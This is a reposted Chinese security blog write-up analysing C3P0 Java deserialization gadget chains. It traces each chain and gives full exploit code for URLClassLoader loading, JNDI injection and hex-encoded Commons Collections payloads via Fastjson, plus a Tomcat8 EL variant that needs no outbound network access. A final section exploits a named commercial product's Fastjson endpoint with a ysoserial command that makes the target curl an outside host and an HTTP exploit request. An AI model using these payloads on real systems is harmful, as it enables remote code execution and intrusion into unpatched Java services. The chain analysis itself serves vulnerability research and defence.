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Java安全 - C3P0链原理分析
漏洞分析
转载
前言 == 本篇文章首发在先知社区 作者Zjacky(本人) 先知社区名称: `Zjacky` 转载原文链接为https://xz.aliyun.com/t/13858 C3P0是啥？ ------- C3P0 是一个开源的 JDBC 连接池，它实现了数据源和 JNDI 绑定，支持 JDBC3 规范和 JDBC2 的标准扩展，并且C3P0其实就是JDBC的一部分吧，先来解释一下 啥叫连接池 ```bash 连接池类似于线程池，在一些情况下我们会频繁地操作数据库，此时Java在连接数据库时会频繁地创建或销毁句柄，增大资源的消耗。为了避免这样一种情况，我们可以提前创建好一些连接句柄，需要使用时直接使用句柄，不需要时可将其放回连接池中，准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术 ``` 环境 -- jdk8u65 ```xml com.mchange c3p0 0.9.5.2 ``` Gadget ------ C3P0常见的利用方式有如下三种 - URLClassLoader远程类加载 - JNDI注入 - 利用HEX序列化字节加载器进行反序列化攻击 分析 -- ### C3P0 之 URLClassLoader 的链子 先来回顾下`URLClassLoader`的类加载 如果说我们可以控制URLclassLoader或者他的参数就可以自定义字节码加载并且支持多种协议 `file` `jar` `http` ```java URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\Java_project\\Serialization_Learing\\target\\classes")}); Class<?> cl = urlClassLoader.loadClass("Test"); cl.newInstance(); ```  作者在`\mchange-commons-java-0.2.11.jar!\com\mchange\v2\naming\ReferenceableUtils.java#referenceToObject()`中找到类似的`URLClassLoader`的执行  相当于一个完整的类加载了，那么接下来去找找谁去调用了`ReferenceableUtils.referenceToObject()` 于是找到了`ReferenceIndirector` 类的 `getObject()` 方法调用了`referenceToObject()`方法  再往上跟谁调用了`getObject`方法，就直接找到了`PoolBackedDataSourceBase#readObject()`  其实蛮简单的，也不是很绕，也就三步，利用链如下 ```bash PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject -> ObjectFactory#getObjectInstance ```  接下来就是写EXP了，先尝试把后半段链子写出来 写的时候要注意的点 1. 要用反射去调用`referenceToObject`方法 2. `referenceToObject`方法需要三个传参 `Reference var0, Name var1, Context var2, Hashtable var3` ```java package org.example; import javax.naming.Context; import javax.naming.Name; import javax.naming.Reference; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Hashtable; public class Test { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class c = Class.forName("com.mchange.v2.naming.ReferenceableUtils"); Method m = c.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class); Reference reference = new Reference("evilexp","evilexp","http://127.0.0.1:8888/"); //evilexp 就是恶意类 Object o = m.invoke(c,reference,null,null,null); } } ```  那么后半条链子已经完成了，我们再来看看如何跟前半条链子进行拼接呢？ 我们来仔细看看`PoolBackedDataSourceBase#readObject`  如果反序列化得到的类是`IndirectlySerialized`的实例，则会调用其`getObject()`方法，然后将返回的类转为`ConnectionPoolDataSource`类，所以我们来跟进下这个`ConnectionPoolDataSource`类发现他竟然没有继承`Serializable`接口 > 这里要有个点注意的，可能Java基础不太好的话可能不太清楚为啥这个`ConnectionPoolDataSource`一定要继承`Serializable`接口，因为在Java反序列化当中，序列化与反序列化的对象都得集成`Serializable`接口从而给JVM标识，而这里`(ConnectionPoolDataSource) o`将反序列化出来的对象进行强制转换了，那么也就是存在一定的关系(具体就是向上转型，向下转型，接口转型)，所以能强制类型转换我们反序列化出来的东西的那必然是需要集成`Serializable`接口的  所以这里也就是作者非常巧妙的地方吧，因为在`readObject`中这么写了，肯定有他写的原因，所以就去看了 `\c3p0.9.5.2.jar!\com\mchange\v2\c3p0\impl\PoolBackedDataSourceBase.java#writeObject()`这个序列化的入口 可以发现这里是 将当前对象的`connectionPoolDataSource`属性进行序列化，如果不能序列化便会在`catch`中对`connectionPoolDataSource`属性用`indirector.indirectForm`方法处理后再进行序列化操作  我们跟进下`indirectForm`方法，将我们传入的内容强转成`Referenceable`类 并且调用`getReference`方法，并将返回的结果作为参数实例化一个`ReferenceSerialized`对象，然后序列化该对象  也就是说我们最终序列化的是一个`ReferenceSerialized`类的对象，我们来跟进下  再来看看头部，发现其继承的恰好就是`IndirectlySerialized`  因此在`PoolBackedDataSourceBase#readObject`中调用的其实是`ReferenceSerialized#getObject()`方法 那其实就很清晰了，我们需要用到这个`PoolBackedDataSourceBase`类的`writeObject`方法来进行序列化的操作，并且再调用他本身的`readObject()`方法来反序列化，所以我们exp就可以去手写一下了，此时我们只需要把我们想传入的类通过反射添加到`connectionPoolDataSource`这个属性即可 而这个类就是一个不继承`Serializable`接口的方法但是他要实现`ConnectionPoolDataSource`接口和实现`Referenceable`接口的类，然后通过`getReference`来返回一个`Reference`类来进行远程加载类即可 最终EXP ```java package org.example; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class c3p { public static void main(String[] args) throws Exception{ PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现 f1.setAccessible(true); f1.set(a,new evil()); ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin"))); ser.writeObject(a); ser.close(); ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin")); unser.readObject(); unser.close(); } public static class evil implements ConnectionPoolDataSource, Referenceable { public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} @Override public Reference getReference() throws NamingException { return new Reference("evilexp","evilexp","http://127.0.0.1:8888/"); } } } ``` 恶意类 ```java public class evilexp { public evilexp() throws Exception{ Runtime.getRuntime().exec("calc"); } } ```  ### JNDI链 这里其实如果细心的话还是可以看到在上面的Gadget中是存在一个很明显的字眼`lookup`的，但实际上在反序列化时我们是无法调用到该方法的，因为属性`contextName`为默认`null`且不可控 这条链子依赖于Fastjson或Jackson反序列化漏洞 作者先是找到了 `\c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\JndiRefForwardingDataSource.java#dereference()`中存在了明显的`lookup`函数可能存在JNDI注入语句  那么这里判断`jndiName`是否为`String`类之后就把`jndiName`进行传入`lookup`方法中，我们去看看这个`jndiName`是否可控并且寻找谁去调用了`dereference`方法 跟进`getJndiName`发现对 `jndiName` 进行了判断该值是不是 `Name` 的类型，如果是就返回 `((Name) jndiName).clone()`，若不是就返回 `String`  那么可以发现`jndiName`只要传入String类型即可控制了(之后是有setter方法的) 往上跟进谁调用了`dereference`方法找到同类下的`inner`方法  满足`cachedInner`为空即可进入下方逻辑 在往上跟  找到了`setLoginTimeout`方法只需要传入一个int类型即可触发，但是这里问题就来了，我的`setLoginTimeout`其实已经可以通过`fastjson`触发了，但是最终的JNDI的payload `jndiName`属性却并没有赋值  所以继续再往上跟能够找到`\c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\WrapperConnectionPoolDataSource.java#setLoginTimeout()`方法，但是这里的写法很奇怪，因为并不是我的`JndiRefForwardingDataSource`类直接去调用，而是使用了`getNestedDataSource()`方法(但仍能够被查找用法查找到)  跟进下`getNestedDataSource` 发现返回`nestedDataSource`属性  通过调试可以发现他竟然这里返回的正是我们需要的`JndiRefForwardingDataSource`类型  所以问题就解决了，那么接下来这个类中仍然没有去set我们的`jndiName`的方法，所以继续跟进 在`\c3p0-0.9.5.2-sources.jar!\com\mchange\v2\c3p0\JndiRefConnectionPoolDataSource.java#setLoginTimeout()`调用了并且该类中也存在了`setJndiName`方法来给`jndiName`赋值，那么整条链子就完成了 最后的EXP ```java String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"JndiName\":\"rmi://127.0.0.1:1099/muogbv\", " + "\"LoginTimeout\":0" + "}"; JSON.parse(payload); ```  ### C3P0 之 HEX流加载任意类攻击 喵的不知道怎么起这个名字，看师傅们的博客说什么hexbase什么16进制加载，我整帅点的 链子的形成是因为这个类 `WrapperConnectionPoolDataSource` 的构造方法中对属性`userOverrides`的赋值方式存在异样的写法  跟进`C3P0ImplUtils#parseUserOverridesAsString()`方法，将该对象的`userOverridesAsString`属性作为参数传入后进行了截取字符串+16进制解码  值得注意的是，在解析过程中调用了substring()方法将字符串头部的`HASM_HEADER`截去了，因此我们在构造时需要在十六进制字符串头部加上`HASM_HEADER`，并且会截去字符串最后一位，所以需要在结尾加上一个`;`  接着将解码后的数据进行`SerializableUtils#fromByteArray()`方法的处理  跟进`deserializeFromByteArray`发现最终调用`readObject`方法  那么其实就很简单了，先写一个本地的demo ```java package org.example; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import org.apache.commons.collections.Transformer; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.util.Map; public class Test { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException, NoSuchFieldException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource(false); wrapperConnectionPoolDataSource.setUserOverridesAsString("HexAsciiSerializedMap:"+hex+";"); } //CC6的利用链 public static Map CC6() throws NoSuchFieldException, IllegalAccessException { //使用InvokeTransformer包装一下 Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc"); HashMap hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"eee"); lazyMap.remove("abc"); //反射修改LazyMap类的factory属性 Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } } ```  其实很容易就能联想到`Fastjson`了，因为可以发现`WrapperConnectionPoolDataSource`也是存在setter方法的  那么就可以通过Fastjson来去引入`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`的`setuserOverridesAsString`方法并且传入反序列化的`hex`值来进行任意类加载或者RCE了 EXP ```java package org.example; import com.alibaba.fastjson.JSON; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import org.apache.commons.collections.Transformer; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.util.Map; public class Test { public static void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException { String hex = toHexAscii(tobyteArray(CC6())); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}" + "}"; JSON.parse(payload); } //CC6的利用链 public static Map CC6() throws NoSuchFieldException, IllegalAccessException { //使用InvokeTransformer包装一下 Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc"); HashMap hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"eee"); lazyMap.remove("abc"); //反射修改LazyMap类的factory属性 Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } } ```  当然在低版本的fastjson中也是可以的 ```java String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; ``` 但在跟着文章复现的时候确实就有一个疑惑了，在`Fastjson`的学习过程当中，我们知道就是在`@type`去寻找指定类的时候，是先进行了构造方法的触发，再进行setter方法的调用的，那么在这里是不是有个疑问就是，我先进行了构造方法的触发，那我的`setter`方法就没有意义了啊？ 其实答案在`WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`中  如果都不为空就会把三个参数传入`vcs.fireVetoableChange`方法中， 跟进下  实例化了一个`PropertyChangeEvent`对象，然后跟进`fireVetoableChange(`方法，最后在375行这个地方调用了`WrapperConnectionPoolDataSource#vetoableChange`  跟进下，发现跟之前一样会走到`parseUserOverridesAsString`方法成功进行`hex`解码并且成功反序列化  C3P0不出网利用 --------- 只能算是一个科普把，因为利用条件属实苛刻，需要存在Tomcat8相关依赖环境 前言是说 不论是URLClassLoader加载远程类，还是JNDI注入，都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网，但却有Fastjson等的相关依赖，但是C3P0是存在一种方式可以摆脱出网的限制的，原因就是他在`\mchange-commons-java-0.2.11.jar!\com\mchange\v2\naming\ReferenceableUtils.java#referenceToObject()`中的`URLClassLoader`的执行是有特殊的写法的  他将我们实例化的恶意类强转成了`ObjectFactory`类并且调用了`getObjectInstance`方法，那么 在JNDI高版本利用中，我们可以加载本地的`Factory`类进行攻击，而利用条件之一就是该工厂类至少存在一个`getObjectInstance()`方法。比如通过加载Tomcat8中的`org.apache.naming.factory.BeanFactory`进行EL表达式注入 先导入依赖 ```xml org.apache.tomcat tomcat-catalina 8.5.0 org.apache.tomcat.embed tomcat-embed-el 8.5.15 ``` EXP(直接参考了下枫师傅的博客主要是写的太好了) 由于`BeanFactory`中需要`Reference`为`ResourceRef`类，因此在`getReference()`中我们实例化`ResourceRef`类，类的构造其实就是构造EL表达式了 ```java package C3P0; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class C3P0_Tomcat8 { public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } //序列化 public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { //反射修改connectionPoolDataSource属性值 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c); //序列化流写入文件 FileOutputStream fos = new FileOutputStream(new File("exp.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase); } //反序列化 public static void Pool_Deserial() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("exp.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); } public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader(); Pool_Serial(tomcat8_loader); Pool_Deserial(); } } ``` 实战分析 ---- ### 云安宝-云匣子 config fastjson RCE #### 分析 一套`springboot`开发的项目，看了下`web.xml`没什么东西，再看下`springboot`的配置文件`spring-servlet.xml`发现把过滤器都写在了这里  发现匹配`/3.0/authService/**` 路径的都会走很多过滤器，在这个控制器里头找到了`parseObject`方法   那么入口点在这里接下来就是看依赖的事情了  用的是fastjson1.2.38 直接打通用的payload即可,这里就是写一下用到了C3P0链 由于看到CC依赖不考虑JDK的问题直接打CC6因为yso并没有写回显的代码所以打的只能是控制台回显使用`curl`来证明 ```bash java -jar y4-yso.jar CommonsCollections6 "curl http://xxx:7979" > 1.bin ```  但是发现用公众号发布的payload是可以打出回显的，自己测试了下y4的这个发现并没有成功 ```bash java -jar y4-yso.jar CommonsCollections6 "whoami" > 1.bin ``` 但是确定是没有回显并不是没有执行命令，但因为jdk的限制 无法去字节码加载，也就是只剩下两个思路了，要么就是通过`InvokerTransformer`去反射调用这种形式 ```bash ScriptEngineManager().getEngineByName("js").eval(恶意代码) ``` 刚好有公众号发出来的payload ```bash POST /3.0/authService/config HTTP/2 Host: xxxx Sec-Ch-Ua: Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Referer: http://xxxx Cmd: ls -al /tmp/ Accept: */* Accept-Encoding: gzip, deflate,br Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json Content-Length: 18907 {"a":{"@type":"java.lang.Class","val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"b":{"@type": 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``` 将hex数据保存使用 ser-dump后得到以下结果(太长不贴了)  大致浏览下其实可以发现他用的类方法都是什么 TiedMapEntry Transformer ConstantTransformer InvokerTransformer 所以可以猜测的没问题就是通过CC6去加载JS引擎加载恶意类，流程图如下  其恶意类为  加载的恶意类就是个可以回显的命令执行，所以分析结束，emmm其实怎么去加载怎么去写这些马，可能得去把内存马的坑给填上才行了(这里顶多算个回显马)，感谢@xiaoqiuxx@Xenc@Qiu的帮忙一起看看，都是大牛子好叼
发表于 2024-04-18 10:00:01
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